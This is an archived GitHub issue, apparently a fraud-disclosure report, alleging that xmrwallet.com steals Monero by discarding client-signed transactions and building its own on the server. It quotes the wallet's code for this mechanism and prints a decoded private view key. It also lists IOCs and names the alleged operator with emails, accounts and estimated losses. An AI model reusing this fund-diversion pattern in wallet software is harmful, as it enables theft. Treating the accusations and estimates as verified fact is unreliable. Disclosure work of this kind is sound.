Archived — GitHub Issue #35
ISSUE #35
ORIGINAL SCREENSHOTS
Captured before deletion. Status: Open at time of capture. Deleted by operator after both domains were suspended.
#35
xmrwallet.com — Fake Monero Wallet (Server-Side TX Hijacking)
Summary
xmrwallet.com operates as a malicious Monero web wallet. Seed generation is client-side (cnUtil), but all transaction logic is handled server-side, enabling full control over user funds.
External scans: urlquery.net → virustotal.com →
Technical Details
- Seed generated in-browser via
cnUtil auth.phpcollects: address, view key, spend key signature (verification)- Session:
session_key = encrypted_token : base64(address) : base64(viewkey) - Frontend TX disabled → raw_tx_and_hash.raw = 0
- TX sent to
/submittransaction.phpwith metadata only - Payload:
{amount, address, payment_id, fee}— server builds actual TX
Impact
- Server builds + broadcasts TX using server-held keys
- Destination address can be silently modified to any address
- Full fund compromise — victim UI shows no valid TxID for stolen funds
Infrastructure
- IP: 186.2.165.49 (DDoS-Guard, AS59692) · NS: ns1/ns2.ddos-guard.net
- Backend: Apache/2.4.58 (Ubuntu) · PHP 8.2.29
- Registrar: NameSilo (2016 → 2031) · SSL: Let's Encrypt (Jan 2026)
- Hosting: IQWeb FZ-LLC (offshore, abuse-resistant) · $550+/month custom plan
§1.1 PHP API Endpoints — GitHub vs Production
// Endpoints with production-only parameters (absent from GitHub):
auth.php address, viewkey, isnew, timestamp, verification
getbalance.php session_id, session_key, data (encrypted blob)
getheightsync.php session_id, session_key
gettransactions.php session_id, session_key, page, sort
getoutputs.php session_id, session_key
getunspentoutputs.php session_id, session_key
getrandomoutputs.php session_id, session_key, outputindex, mixin
submittransaction.php session_id, session_key, tx, tx_info
logout.php session_id
// All bolded = production-only, NOT present in GitHub code.
§1.2 session_key Decoded
// session_key structure (sent with every authenticated request):
[97-byte encrypted blob] : [base64(wallet_address)] : [base64(private_viewkey)]
// Decoded from captured traffic:
Part 0: 97-byte server token (from auth.php response)
Part 1: NDVHZzZU... → 45Gg6TkiFWWXAxDiVZTffmRbmGpebeQTgcM4hP9oy2dSjimahuHk...
Part 2: MDI0ZGYx... → 024df1838206fd34a380bd9b6c181af1ffecce60fb9e09317ab42a5aad660a02
↑ PRIVATE VIEW KEY transmitted to server on every request
§1.3 Production Auth Flow (NOT in GitHub)
// GitHub version — 2-part response:
if(returned_data.length == 2) {{ session_id = returned_data[1]; }}
// Production version — 3-part response:
if(returned_data.length == 3) {{
session_id = returned_data[1];
session_key = returned_data[2] + ":" + btoa(xmrwallet_address) + ":" + btoa(xmrwallet_viewkey);
}}
// ↑ Client appends address + viewkey in Base64 to server token
// ↑ This combined value is transmitted to server on every subsequent request
§2 The Fraud Mechanism — TX Signing Bypass (raw_tx_and_hash.raw = 0)
// Present in BOTH GitHub and production — the smoking gun:
signed_transaction = cnUtil.create_transaction(pubkeys, seckeys, ...);
// Signed TX is DISCARDED:
var raw_tx_and_hash = {{}};
raw_tx_and_hash.raw = 0; // <-- THE FRAUD. Client-signed TX is never used.
// Only metadata sent. Server builds its OWN transaction.
tx_info.amount = transaction_amount.toString();
tx_info.address = destinations[0].address; // server can redirect to any address
tx_info.fee = required_fee.toString();
$.ajax({{ url: '/submittransaction.php', data: {{
session_id, session_key,
tx: raw_tx_and_hash.raw, // = 0 — not the signed transaction
tx_info: JSON.stringify(tx_info)
}}}});
The "swept" Transaction Type — Theft Marker
if(data[i]['type'] == 'swept') {{
data[i]['txid'] = 'Unknown transaction id (Swept Transaction)';
}}
// 'swept' is NOT a standard Monero transaction type.
// When server steals funds: records as 'swept' with 'Unknown transaction id'
// Victim sees outbound transaction with no valid TxID. Theft is untraceable from UI.
§3 Code Evolution — 5.3 Year Secret Development Gap
2018-05-10 First Release (commit f2d33d1)
2018-11-06 Bulletproof update — LAST PUBLIC COMMIT FOR 5.3 YEARS
Production actively evolves in secret. session_key added. Fraud layers added.
2024-03-15 v0.18.0.0 — sanitized dump to GitHub
session_key, verification, encrypted data: EXCLUDED from push
Current v0.18.4.1 production — additional undocumented changes
§4 Loss Estimation
- Documented losses (named victims): 674+ XMR (~$227K+ USD)
- Single incident (Sitejabber): 590 XMR stolen
- Conservative total estimate: 5,000–50,000+ XMR ($1.5M–$15M+ at historical prices)
- 10,000–50,000+ wallet accounts created over 8 years of operation
§5 Cover-Up Evidence
- 5.3 year public commit gap while production evolves
- 21+ GitHub issues deleted by operator (confirmed)
- "Sync problems" cover story directed at every theft victim
- Blog post: "5 Crypto Scams You Should Know About" — legitimacy shield
- Claims "free, funded solely by donations" — zero donation wallet exists
- 50+ paid SEO articles purchasing top Google rankings
- $550+/month IQWeb custom hosting — funded by stolen XMR
IOCs
- xmrwallet.com (NameSilo, active) · xmrwallet.cc (✘ suspended) · xmrwallet.biz (✘ suspended)
- IP: 186.2.165.49 · CDN: DDoS-Guard AS59692
- GA: UA-116766241-1 · GTM · DoubleClick · GA4
- MX: mx1/mx2.privateemail.com (identical on all 3 domains — single operator proof)
- Google Verify: d-En_D3kMw6CqZpPwZeDn4ICI5Tyk1WvPYdVdGzEWr8
Operator
- Nathalie Roy · Canada
- GitHub: nathroy (ID: 39167759, created 2018-05-10)
- Reddit: u/WiseSolution — banned from r/Monero
- Emails: admin@, support@, feedback@, lr@xmrwallet.com, royn5094@protonmail.com
- Self-identified on support.html: "Nathalie Roy created XMRWallet..."
Prepared by PhishDestroy · 2026-02-15 · OSINT only · no unauthorized access · github.com/phishdestroy/destroylist
